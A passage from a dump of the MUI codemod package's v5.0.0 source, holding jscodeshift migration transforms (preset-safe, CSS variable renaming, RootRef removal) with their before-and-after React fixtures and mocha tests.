    "content": "\nimport { withStyles } from '@mui/styles';\n\nimport { grey, blue } from '@mui/material/colors';\nimport { grey as grey2 } from '@mui/material/colors';\nimport { blue as blue2 } from '@mui/material/colors';\n\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport MenuItem from '@mui/material/MenuItem';\nimport Tab from '@mui/material/Tab';\nimport MuiTabs from '@mui/material/Tabs';\nimport { autocompleteClasses } from '@mui/material/Autocomplete';\nimport BottomNavigationAction from '@mui/material/BottomNavigationAction';\nimport BottomNavigation from '@mui/material/BottomNavigation';\nimport CardContent from '@mui/material/CardContent';\nimport CardActions from '@mui/material/CardActions';\nimport Card from '@mui/material/Card';\nimport CardMedia from '@mui/material/CardMedia';\nimport CardHeader from '@mui/material/CardHeader';\nimport MuiCollapse from '@mui/material/Collapse';\nimport ListItemSecondaryAction from '@mui/material/ListItemSecondaryAction';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport ListItem from '@mui/material/ListItem';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport List from '@mui/material/List';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport Dialog from '@mui/material/Dialog';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogActions from '@mui/material/DialogActions';\nimport Slide from '@mui/material/Slide';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport AccordionActions from '@mui/material/AccordionActions';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport Accordion from '@mui/material/Accordion';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport MuiLinearProgress from '@mui/material/LinearProgress';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport Fade from '@mui/material/Fade';\nimport StepContent from '@mui/material/StepContent';\nimport StepButton from '@mui/material/StepButton';\nimport Step from '@mui/material/Step';\nimport Stepper from '@mui/material/Stepper';\nimport TableRow from '@mui/material/TableRow';\nimport TablePagination from '@mui/material/TablePagination';\nimport TableCell from '@mui/material/TableCell';\nimport TableBody from '@mui/material/TableBody';\nimport Table from '@mui/material/Table';\nimport TableHead from '@mui/material/TableHead';\nimport { tooltipClasses } from '@mui/material/Tooltip';\nimport InputLabel from '@mui/material/InputLabel';\nimport Input from '@mui/material/Input';\nimport Grow from '@mui/material/Grow';\nimport TableFooter from '@mui/material/TableFooter';\nimport Zoom from '@mui/material/Zoom';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Delete from '@mui/icons-material/Delete';\nimport PeopleIcon from '@mui/icons-material/People';\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/path-imports.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './path-imports';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('path-imports', () => {\n      it('convert path as needed', () => {\n        const actual = transform(\n          {\n            source: read('./path-imports.test/actual.js'),\n            path: require.resolve('./path-imports.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./path-imports.test/expected.js');\n        expect(actual?.trim()).to.equal(\n          expected?.trim(),\n          'The transformed version should be correct',\n        );\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./path-imports.test/expected.js'),\n            path: require.resolve('./path-imports.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./path-imports.test/expected.js');\n        expect(actual?.trim()).to.equal(\n          expected?.trim(),\n          'The transformed version should be correct',\n        );\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/preset-safe.js",
    "content": "import transformAdapterV4 from './adapter-v4';\nimport transformAutocompleteRenaming from './autocomplete-rename-closeicon';\nimport transformAutocompleteOption from './autocomplete-rename-option';\nimport transformAvatarCircular from './avatar-circle-circular';\nimport transformBadgeOverlap from './badge-overlap-value';\nimport transformBoxBorderRadius from './box-borderradius-values';\nimport transformBoxRenameGap from './box-rename-gap';\nimport transformBoxRenameCss from './box-rename-css';\nimport transformButtonColorProp from './button-color-prop';\nimport transformChipVariantProp from './chip-variant-prop';\nimport transformCircularProgressVariant from './circularprogress-variant';\nimport transformCollapsedHeight from './collapse-rename-collapsedheight';\nimport transformCoreStylesImport from './core-styles-import';\nimport transformCreateTheme from './create-theme';\nimport transformDialogProps from './dialog-props';\nimport transformDialogTitleProps from './dialog-title-props';\nimport transformEmotionPrependCache from './emotion-prepend-cache';\nimport transformExpansionPanelComponent from './expansion-panel-component';\nimport transformFabVariant from './fab-variant';\nimport transformFade from './fade-rename-alpha';\nimport transformGridJustify from './grid-justify-justifycontent';\nimport transformGridListComponent from './grid-list-component';\nimport transformHiddenDownProps from './hidden-down-props';\nimport transformIconButtonSize from './icon-button-size';\nimport transformMuiStyles from './material-ui-styles';\nimport transformTypes from './material-ui-types';\nimport transformModalProps from './modal-props';\nimport transformMovedLabModules from './moved-lab-modules';\nimport transformPaginationRoundCircular from './pagination-round-circular';\nimport transformPrivateImports from './optimal-imports';\nimport transformRootRef from './root-ref';\nimport transformSkeletonVariant from './skeleton-variant';\nimport transformStyledEngineProvider from './styled-engine-provider';\nimport transformTableProps from './table-props';\nimport transformTabsScrollButtons from './tabs-scroll-buttons';\nimport transformTextareaMinMaxRows from './textarea-minmax-rows';\nimport transformThemeAugment from './theme-augment';\nimport transformThemeBreakpoints from './theme-breakpoints';\nimport transformThemeBreakpointsWidth from './theme-breakpoints-width';\nimport transformThemeOptions from './theme-options';\nimport transformThemePaletteMode from './theme-palette-mode';\nimport transformThemeProvider from './theme-provider';\nimport transformThemeSpacing from './theme-spacing';\nimport transformThemeTypographyRound from './theme-typography-round';\nimport transformTransitions from './transitions';\nimport transformUseTransitionProps from './use-transitionprops';\nimport transformWithMobileDialog from './with-mobile-dialog';\nimport transformWithWidth from './with-width';\nimport transformUseAutocomplete from './use-autocomplete';\nimport transformMuiReplace from './mui-replace';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  file.source = transformAdapterV4(file, api, options);\n  file.source = transformAutocompleteRenaming(file, api, options);\n  file.source = transformAutocompleteOption(file, api, options);\n  file.source = transformAvatarCircular(file, api, options);\n  file.source = transformBadgeOverlap(file, api, options);\n  file.source = transformBoxBorderRadius(file, api, options);\n  file.source = transformBoxRenameGap(file, api, options);\n  file.source = transformBoxRenameCss(file, api, options);\n  file.source = transformButtonColorProp(file, api, options);\n  file.source = transformChipVariantProp(file, api, options);\n  file.source = transformCircularProgressVariant(file, api, options);\n  file.source = transformCollapsedHeight(file, api, options);\n  file.source = transformCoreStylesImport(file, api, options);\n  file.source = transformCreateTheme(file, api, options);\n  file.source = transformDialogProps(file, api, options);\n  file.source = transformDialogTitleProps(file, api, options);\n  file.source = transformEmotionPrependCache(file, api, options);\n  file.source = transformExpansionPanelComponent(file, api, options);\n  file.source = transformFabVariant(file, api, options);\n  file.source = transformFade(file, api, options);\n  file.source = transformGridJustify(file, api, options);\n  file.source = transformGridListComponent(file, api, options);\n  file.source = transformHiddenDownProps(file, api, options);\n  file.source = transformIconButtonSize(file, api, options);\n  file.source = transformMuiStyles(file, api, options);\n  file.source = transformModalProps(file, api, options);\n  file.source = transformMovedLabModules(file, api, options);\n  file.source = transformPaginationRoundCircular(file, api, options);\n  file.source = transformPrivateImports(file, api, options);\n  file.source = transformRootRef(file, api, options);\n  file.source = transformSkeletonVariant(file, api, options);\n  file.source = transformStyledEngineProvider(file, api, options);\n  file.source = transformTableProps(file, api, options);\n  file.source = transformTabsScrollButtons(file, api, options);\n  file.source = transformTextareaMinMaxRows(file, api, options);\n  file.source = transformThemeAugment(file, api, options);\n  file.source = transformThemeBreakpoints(file, api, options);\n  file.source = transformThemeBreakpointsWidth(file, api, options);\n  file.source = transformThemeOptions(file, api, options);\n  file.source = transformThemePaletteMode(file, api, options);\n  file.source = transformThemeProvider(file, api, options);\n  file.source = transformThemeSpacing(file, api, options);\n  file.source = transformThemeTypographyRound(file, api, options);\n  file.source = transformTransitions(file, api, options);\n  file.source = transformTypes(file, api, options);\n  file.source = transformUseTransitionProps(file, api, options);\n  file.source = transformWithMobileDialog(file, api, options);\n  file.source = transformWithWidth(file, api, options);\n  file.source = transformUseAutocomplete(file, api, options);\n\n  // mui-replace should be the last\n  file.source = transformMuiReplace(file, api, options);\n\n  return file.source;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/preset-safe.test/actual.js",
    "content": "import * as React from 'react';\nimport {\n  MuiThemeProvider,\n  createMuiTheme,\n  makeStyles,\n  fade,\n  StylesProvider,\n} from '@material-ui/core/styles';\nimport CssBaseline from '@material-ui/core/CssBaseline';\nimport yellow from '@material-ui/core/colors/yellow';\nimport CircularProgress from '@material-ui/core/CircularProgress';\nimport Dialog from '@material-ui/core/Dialog';\nimport DialogTitle from '@material-ui/core/DialogTitle';\nimport DialogActions from '@material-ui/core/DialogActions';\nimport DialogContent from '@material-ui/core/DialogContent';\nimport DialogContentText from '@material-ui/core/DialogContentText';\nimport Autocomplete from '@material-ui/lab/Autocomplete';\nimport Avatar from '@material-ui/core/Avatar';\nimport Badge from '@material-ui/core/Badge';\nimport Button from '@material-ui/core/Button';\nimport Box from '@material-ui/core/Box';\nimport Container from '@material-ui/core/Container';\nimport AppBar from '@material-ui/core/AppBar';\nimport Toolbar from '@material-ui/core/Toolbar';\nimport Grid from '@material-ui/core/Grid';\nimport Switch from '@material-ui/core/Switch';\nimport Typography from '@material-ui/core/Typography';\nimport TextField from '@material-ui/core/TextField';\nimport withWidth from '@material-ui/core/withWidth';\n\nconst DarkContext = React.createContext();\n\nconst Test = withWidth()((props) => (\n  <Box\n    p={2}\n    bgcolor=\"divider\"\n    color={yellow[600]}\n    borderRadius={16}\n    display=\"flex\"\n    alignItems=\"center\"\n    justifyContent=\"space-between\"\n  >\n    {props.width}\n    <CircularProgress value={80} variant=\"static\" classes={{ static: 'className' }} />\n  </Box>\n));\n\nconst useStyles = makeStyles(({ palette, breakpoints, spacing, typography }) => ({\n  switch: {\n    marginLeft: 8,\n  },\n  autocomplete: {\n    flexBasis: 200,\n    '& .MuiInputLabel-outlined:not(.MuiInputLabel-shrink)': {\n      transform: 'translate(14px, 12px) scale(1)',\n    },\n    '& .MuiInputBase-root': {\n      paddingTop: 0,\n      paddingBottom: 0,\n    },\n  },\n  head: {\n    color: palette.type === 'dark' ? fade('#ff5252', 0.9) : palette.text.primary,\n    fontSize: typography.round(breakpoints.width('sm') / 20),\n    width: `calc(100% - ${spacing(10)})`,\n  },\n  avatar: {\n    width: 64,\n    height: 64,\n  },\n  badge: {\n    width: 10,\n    height: 10,\n    '&.MuiBadge-anchorOriginTopRightCircle': {\n      backgroundColor: palette.success.main,\n    },\n  },\n}));\n\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n];\n\nconst Header = () => {\n  const classes = useStyles();\n  const { dark, setDark } = React.useContext(DarkContext);\n  return (\n    <AppBar color=\"default\" position=\"sticky\">\n      <Toolbar>\n        <Typography className={classes.head} variant=\"h6\">\n          👋 Hello\n        </Typography>\n        <Box ml=\"auto\" />\n        <Autocomplete\n          className={classes.autocomplete}\n          options={top100Films}\n          getOptionLabel={(option) => option.title}\n          renderInput={(params) => <TextField {...params} label=\"Combo box\" variant=\"outlined\" />}\n          closeIcon={\n            <Box fontSize={12} width={20}>\n              &nbsp;❌\n            </Box>\n          }\n        />\n        <Switch\n          className={classes.switch}\n          checked={dark}\n          onChange={(event, checked) => setDark(checked)}\n        />\n      </Toolbar>\n    </AppBar>\n  );\n};\n\nfunction App() {\n  const [open, setOpen] = React.useState(false);\n  const handleClose = () => setOpen(false);\n  const { setDark } = React.useContext(DarkContext);\n  const classes = useStyles();\n  return (\n    <>\n      <CssBaseline />\n      <Header />\n      <Container>\n        <Grid container spacing={2} justify=\"center\" alignItems=\"center\">\n          <Grid item xs={6} sm={4} md={3}>\n            <Box p={2} display=\"flex\" alignItems=\"center\">\n              <Badge\n                color=\"secondary\"\n                badgeContent=\" \"\n                overlap=\"circle\"\n                classes={{ anchorOriginTopRightCircle: classes.badge }}\n              >\n                <Avatar variant=\"circle\" classes={{ circle: classes.avatar }} />\n              </Badge>\n              <Box ml={2}>\n                <Typography>My name is ...</Typography>\n                <Typography variant=\"h5\">\n                  <b>siriwatknp</b>\n                </Typography>\n              </Box>\n            </Box>\n          </Grid>\n          <Grid item xs={6} sm={4} md={3}>\n            <Test />\n          </Grid>\n        </Grid>\n        <Button variant=\"contained\" color=\"default\" onClick={() => setOpen(true)}>\n          Open Dialog\n        </Button>\n        <Dialog\n          open={open}\n          onClose={() => setOpen(false)}\n          onEnter={() => setDark(true)}\n          onExit={() => setDark(false)}\n        >\n          <DialogTitle id=\"alert-dialog-title\">{\"Use Google's location service?\"}</DialogTitle>\n          <DialogContent>\n            <DialogContentText id=\"alert-dialog-description\">\n              Let Google help apps determine location. This means sending anonymous location data to\n              Google, even when no apps are running.\n            </DialogContentText>\n          </DialogContent>\n          <DialogActions>\n            <Button onClick={handleClose} color=\"primary\">\n              Disagree\n            </Button>\n            <Button onClick={handleClose} color=\"primary\" autoFocus>\n              Agree\n            </Button>\n          </DialogActions>\n        </Dialog>\n      </Container>\n    </>\n  );\n}\n\nconst withThemeProvider = (Component) => (props) => {\n  const [dark, setDark] = React.useState(false);\n  const theme = React.useMemo(\n    () =>\n      createMuiTheme({\n        palette: {\n          type: dark ? 'dark' : 'light',\n        },\n      }),\n    [dark],\n  );\n  return (\n    <DarkContext.Provider value={{ dark, setDark }}>\n      <StylesProvider injectFirst>\n        <MuiThemeProvider theme={theme}>\n          <Component {...props} />\n        </MuiThemeProvider>\n      </StylesProvider>\n    </DarkContext.Provider>\n  );\n};\n\nexport default withThemeProvider(App);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/preset-safe.test/expected.js",
    "content": "import * as React from 'react';\nimport { ThemeProvider, StyledEngineProvider, createTheme, alpha, adaptV4Theme } from '@mui/material/styles';\nimport makeStyles from '@mui/styles/makeStyles';\nimport StylesProvider from '@mui/styles/StylesProvider';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport CircularProgress from '@mui/material/CircularProgress';\nimport Dialog from '@mui/material/Dialog';\nimport DialogTitle from '@mui/material/DialogTitle';\nimport DialogActions from '@mui/material/DialogActions';\nimport DialogContent from '@mui/material/DialogContent';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport Autocomplete from '@mui/material/Autocomplete';\nimport Avatar from '@mui/material/Avatar';\nimport Badge from '@mui/material/Badge';\nimport Button from '@mui/material/Button';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Grid from '@mui/material/Grid';\nimport Switch from '@mui/material/Switch';\nimport Typography from '@mui/material/Typography';\nimport TextField from '@mui/material/TextField';\nimport { yellow } from '@mui/material/colors';\n\n// FIXME checkout https://mui.com/components/use-media-query/#migrating-from-withwidth\nconst withWidth = () => (WrappedComponent) => (props) => <WrappedComponent {...props} width=\"xs\" />;\n\nconst DarkContext = React.createContext();\n\nconst Test = withWidth()((props) => (\n  <Box\n    p={2}\n    bgcolor=\"divider\"\n    color={yellow[600]}\n    borderRadius=\"16px\"\n    display=\"flex\"\n    alignItems=\"center\"\n    justifyContent=\"space-between\"\n  >\n    {props.width}\n    <CircularProgress value={80} variant=\"determinate\" classes={{ determinate: 'className' }} />\n  </Box>\n));\n\nconst useStyles = makeStyles(({ palette, breakpoints, spacing, typography }) => ({\n  switch: {\n    marginLeft: 8,\n  },\n  autocomplete: {\n    flexBasis: 200,\n    '& .MuiInputLabel-outlined:not(.MuiInputLabel-shrink)': {\n      transform: 'translate(14px, 12px) scale(1)',\n    },\n    '& .MuiInputBase-root': {\n      paddingTop: 0,\n      paddingBottom: 0,\n    },\n  },\n  head: {\n    color: palette.mode === 'dark' ? alpha('#ff5252', 0.9) : palette.text.primary,\n    fontSize: Math.round(breakpoints.values.sm / 20 * 1e5) / 1e5,\n    width: `calc(100% - ${spacing(10)})`,\n  },\n  avatar: {\n    width: 64,\n    height: 64,\n  },\n  badge: {\n    width: 10,\n    height: 10,\n    '&.MuiBadge-anchorOriginTopRightCircular': {\n      backgroundColor: palette.success.main,\n    },\n  },\n}));\n\nconst top100Films = [\n  { title: 'The Shawshank Redemption', year: 1994 },\n  { title: 'The Godfather', year: 1972 },\n  { title: 'The Godfather: Part II', year: 1974 },\n  { title: 'The Dark Knight', year: 2008 },\n  { title: '12 Angry Men', year: 1957 },\n];\n\nconst Header = () => {\n  const classes = useStyles();\n  const { dark, setDark } = React.useContext(DarkContext);\n  return (\n    <AppBar color=\"default\" position=\"sticky\">\n      <Toolbar>\n        <Typography className={classes.head} variant=\"h6\">\n          👋 Hello\n        </Typography>\n        <Box ml=\"auto\" />\n        <Autocomplete\n          className={classes.autocomplete}\n          options={top100Films}\n          getOptionLabel={(option) => option.title}\n          renderInput={(params) => <TextField {...params} label=\"Combo box\" variant=\"outlined\" />}\n          clearIcon={\n            <Box fontSize={12} width={20}>\n              &nbsp;❌\n            </Box>\n          }\n        />\n        <Switch\n          className={classes.switch}\n          checked={dark}\n          onChange={(event, checked) => setDark(checked)}\n        />\n      </Toolbar>\n    </AppBar>\n  );\n};\n\nfunction App() {\n  const [open, setOpen] = React.useState(false);\n  const handleClose = () => setOpen(false);\n  const { setDark } = React.useContext(DarkContext);\n  const classes = useStyles();\n  return (\n    <>\n      <CssBaseline />\n      <Header />\n      <Container>\n        <Grid container spacing={2} justifyContent=\"center\" alignItems=\"center\">\n          <Grid item xs={6} sm={4} md={3}>\n            <Box p={2} display=\"flex\" alignItems=\"center\">\n              <Badge\n                color=\"secondary\"\n                badgeContent=\" \"\n                overlap=\"circular\"\n                classes={{ anchorOriginTopRightCircular: classes.badge }}\n              >\n                <Avatar variant=\"circular\" classes={{ circular: classes.avatar }} />\n              </Badge>\n              <Box ml={2}>\n                <Typography>My name is ...</Typography>\n                <Typography variant=\"h5\">\n                  <b>siriwatknp</b>\n                </Typography>\n              </Box>\n            </Box>\n          </Grid>\n          <Grid item xs={6} sm={4} md={3}>\n            <Test />\n          </Grid>\n        </Grid>\n        <Button variant=\"contained\" onClick={() => setOpen(true)}>\n          Open Dialog\n        </Button>\n        <Dialog\n          open={open}\n          onClose={() => setOpen(false)}\n          TransitionProps={{\n            onEnter: () => setDark(true),\n            onExit: () => setDark(false)\n          }}>\n          <DialogTitle id=\"alert-dialog-title\">{\"Use Google's location service?\"}</DialogTitle>\n          <DialogContent>\n            <DialogContentText id=\"alert-dialog-description\">\n              Let Google help apps determine location. This means sending anonymous location data to\n              Google, even when no apps are running.\n            </DialogContentText>\n          </DialogContent>\n          <DialogActions>\n            <Button onClick={handleClose} color=\"primary\">\n              Disagree\n            </Button>\n            <Button onClick={handleClose} color=\"primary\" autoFocus>\n              Agree\n            </Button>\n          </DialogActions>\n        </Dialog>\n      </Container>\n    </>\n  );\n}\n\nconst withThemeProvider = (Component) => (props) => {\n  const [dark, setDark] = React.useState(false);\n  const theme = React.useMemo(\n    () =>\n      createTheme(adaptV4Theme({\n        palette: {\n          mode: dark ? 'dark' : 'light',\n        },\n      })),\n    [dark],\n  );\n  return (\n    <DarkContext.Provider value={{ dark, setDark }}>\n      <StylesProvider injectFirst>\n        <StyledEngineProvider injectFirst>\n          <ThemeProvider theme={theme}>\n            <Component {...props} />\n          </ThemeProvider>\n        </StyledEngineProvider>\n      </StylesProvider>\n    </DarkContext.Provider>\n  );\n};\n\nexport default withThemeProvider(App);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/preset-safe.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './preset-safe';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('preset-safe', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./preset-safe.test/actual.js'),\n            path: require.resolve('./preset-safe.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./preset-safe.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./preset-safe.test/expected.js'),\n            path: require.resolve('./preset-safe.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./preset-safe.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/rename-css-variables.js",
    "content": "const capitalize = (str) => {\n  return str.charAt(0).toUpperCase() + str.slice(1);\n};\n\nconst JoyComponents = [\n  'Alert',\n  'AspectRatio',\n  'Autocomplete',\n  'AutocompleteListbox',\n  'AutocompleteOption',\n  'Avatar',\n  'AvatarGroup',\n  'Badge',\n  'Box',\n  'Breadcrumbs',\n  'Button',\n  'Card',\n  'CardContent',\n  'CardCover',\n  'CardOverflow',\n  'Checkbox',\n  'Chip',\n  'ChipDelete',\n  'CircularProgress',\n  'Container',\n  'CssBaseline',\n  'Divider',\n  'FormControl',\n  'FormHelperText',\n  'FormLabel',\n  'Grid',\n  'IconButton',\n  'Input',\n  'LinearProgress',\n  'Link',\n  'List',\n  'ListDivider',\n  'ListItem',\n  'ListItemButton',\n  'ListItemContent',\n  'ListItemDecorator',\n  'ListSubheader',\n  'Menu',\n  'MenuItem',\n  'MenuList',\n  'Modal',\n  'ModalClose',\n  'ModalDialog',\n  'Option',\n  'Radio',\n  'RadioGroup',\n  'ScopedCssBaseline',\n  'Select',\n  'Sheet',\n  'Slider',\n  'Stack',\n  'SvgIcon',\n  'Switch',\n  'Tab',\n  'Table',\n  'TableCell',\n  'TabList',\n  'TabPanel',\n  'Tabs',\n  'Textarea',\n  'TextField',\n  'Tooltip',\n  'Typography',\n];\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n */\nexport default function transformer(file) {\n  return (\n    file.source\n      // from `--<Component>-<slot>-<property>` to `--<Component>-<slot><Property>`\n      .replace(\n        /--([a-zA-Z]+)([-_])([a-zA-Z]+)-([a-zA-Z]+)/gm,\n        (matched, capture1, capture2, capture3, capture4) => {\n          if (\n            !JoyComponents.includes(capture1) &&\n            !['internal', 'unstable', 'private'].includes(capture1)\n          ) {\n            return matched;\n          }\n          // turn `--List-item-...` and `--List-divider-...` to `--ListItem-...` and `--ListDivider-...`\n          if (capture1 === 'List' && ['divider', 'item'].includes(capture3)) {\n            return `--${capture1}${capitalize(capture3)}-${capture4}`;\n          }\n          // turn `--List-decorator-...` to `--ListItemDecorator-...`\n          if (capture1 === 'List' && ['decorator'].includes(capture3)) {\n            return `--${capture1}Item${capitalize(capture3)}-${capture4}`;\n          }\n          if (!JoyComponents.includes(capture3)) {\n            return `--${capture1}${capture2}${capture3}${capitalize(capture4)}`;\n          }\n          return matched;\n        },\n      )\n      .replace(/--List-decoratorSize/gm, '--ListItemDecorator-size')\n      .replace(/--List-decoratorColor/gm, '--ListItemDecorator-color')\n      // from `--internal-...` to `--unstable_...`\n      .replace(/--internal-/gm, '--unstable_')\n      // from `--private_...` to `--unstable_...`\n      .replace(/--private_/gm, '--unstable_')\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/rename-css-variables.test/actual.js",
    "content": "<div>\n  <List sx={{ py: 'var(--ListDivider-gap)', '--List-decorator-size': '24px' }} />\n  <List sx={{ '--List-decoratorSize': '24px' }} />\n  <ListItem sx={{ '--ListItem-minHeight': '20px' }} />\n  <Input\n    sx={{\n      '--Input-decoratorChildHeight': '10px',\n    }}\n  />\n  <ModalDialog sx={{ '--unstable_ModalDialog-descriptionOffset': '12px' }} />\n  <Autocomplete sx={{ '--Autocomplete-wrapperGap': '10px' }} />\n  <Switch sx={{ '--Switch-trackWidth': '40px' }} />\n  <Item sx={{ py: 'var(--internal-action-radius)' }} />\n  <Item sx={{ py: 'var(--private_action-radius)' }} />\n  <Item sx={{ py: 'var(--unstable_action-radius)' }} />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/rename-css-variables.test/expected.js",
    "content": "<div>\n  <List sx={{ py: 'var(--ListDivider-gap)', '--ListItemDecorator-size': '24px' }} />\n  <List sx={{ '--ListItemDecorator-size': '24px' }} />\n  <ListItem sx={{ '--ListItem-minHeight': '20px' }} />\n  <Input\n    sx={{\n      '--Input-decoratorChildHeight': '10px',\n    }}\n  />\n  <ModalDialog sx={{ '--unstable_ModalDialog-descriptionOffset': '12px' }} />\n  <Autocomplete sx={{ '--Autocomplete-wrapperGap': '10px' }} />\n  <Switch sx={{ '--Switch-trackWidth': '40px' }} />\n  <Item sx={{ py: 'var(--unstable_actionRadius)' }} />\n  <Item sx={{ py: 'var(--unstable_actionRadius)' }} />\n  <Item sx={{ py: 'var(--unstable_actionRadius)' }} />\n</div>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/rename-css-variables.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './rename-css-variables';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('rename-css-variables', () => {\n      it('renames css variables based on the new rules', () => {\n        const actual = transform(\n          {\n            source: read('./rename-css-variables.test/actual.js'),\n            path: require.resolve('./rename-css-variables.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./rename-css-variables.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    it('should be idempotent', () => {\n      const actual = transform(\n        {\n          source: read('./rename-css-variables.test/expected.js'),\n          path: require.resolve('./rename-css-variables.test/expected.js'),\n        },\n        { jscodeshift },\n        {},\n      );\n\n      const expected = read('./rename-css-variables.test/expected.js');\n      expect(actual).to.equal(expected, 'The transformed version should be correct');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/root-ref.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n */\nexport default function transformer(file) {\n  // The regexes below have a negative lookahead to prevent ReDoS\n  // See https://github.com/mui/material-ui/issues/44078\n  return file.source\n    .replace(/\\n?import(?!import).*core\\/RootRef['\"];?/gm, '')\n    .replace(/\\n?import {\\s?RootRef\\s?} from ['\"]@material-ui\\/core\\/?['\"];?/gm, '')\n    .replace(/({.*)(RootRef,?)(.*})/gm, '$1$3')\n    .replace(/<RootRef(?!<RootRef).*>/gm, '<>')\n    .replace(/<\\/RootRef>/gm, '</>');\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/root-ref.test/actual.js",
    "content": "import RootRef from '@material-ui/core/RootRef';\n// import { RootRef } from '@material-ui/core';\n// import { RootRef, Button } from '@material-ui/core';\n// import { Tooltip, RootRef, Button } from '@material-ui/core';\n\nfunction App() {\n  return (\n    <RootRef rootRef={this.container}>\n      <Typography />\n      <CssBaseline></CssBaseline>\n    </RootRef>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/root-ref.test/expected.js",
    "content": "\n// \n// import {  Button } from '@material-ui/core';\n// import { Tooltip,  Button } from '@material-ui/core';\n\nfunction App() {\n  return (\n    <>\n      <Typography />\n      <CssBaseline></CssBaseline>\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/root-ref.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './root-ref';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('root-ref', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          {\n            source: read('./root-ref.test/actual.js'),\n            path: require.resolve('./root-ref.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./root-ref.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./root-ref.test/expected.js'),\n            path: require.resolve('./root-ref.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./root-ref.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/skeleton-variant.js",
